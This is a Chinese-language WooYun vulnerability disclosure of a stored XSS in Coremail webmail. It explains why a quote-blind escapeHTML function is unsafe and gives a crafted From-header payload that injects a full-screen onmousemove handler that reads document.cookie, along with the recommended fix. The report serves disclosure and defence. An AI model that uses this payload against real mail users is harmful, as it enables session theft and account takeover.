当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194100

漏洞标题:一个Coremail的存储型XSS

相关厂商:Coremail盈世信息科技(北京)有限公司

漏洞作者: breeswish

提交时间:2016-04-09 10:45

修复时间:2016-07-11 14:20

公开时间:2016-07-11 14:20

漏洞类型:XSS跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-09: 细节已通知厂商并且等待厂商处理中
2016-04-12: 厂商已经确认,细节仅向厂商公开
2016-04-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-06: 细节向核心白帽子及相关领域专家公开
2016-06-16: 细节向普通白帽子公开
2016-06-26: 细节向实习白帽子公开
2016-07-11: 细节向公众公开

简要描述:

某处 escape 姿势不对

详细说明:

目前的代码,在构造发件人时,代码如下:

function getEmailDiv(emailAddress) {
return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>'
}


那么 escapeHTML 是什么呢?

function (){
var div=document.createElement("div");
var _15=document.createTextNode(this);
div.appendChild(_15);
return div.innerHTML;
}


这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外

漏洞证明:

最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。
比如 From 字段如下:

From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**>


最后 JavaScript 构造出的 HTML 如下:

<div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div>


exp.jpg

修复方案:

你们代码里还给 String.prototype 增加了一个 htmlencode 函数,实现是

function (){
var _4=this;
_4=_4.replace(/&/gi,"&amp;");
_4=_4.replace(/</gi,"&lt;");
_4=_4.replace(/>/gi,"&gt;");
_4=_4.replace(/\"/gi,"&quot;");
_4=_4.replace(/'/gi,"&#039;");
return _4;
}


用这个来 escape 就挺好的不会有什么问题,不知道你们为什么代码里有两套 escape 方案 :-)

版权声明:转载请注明来源 breeswish@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-12 14:11

厂商回复:

此漏洞已与WooYun-2015-一并修复,本漏洞客户尚未更新,将知会客户更新,感谢!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-09 11:58 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)

    小伙子,关注你(=@__@=)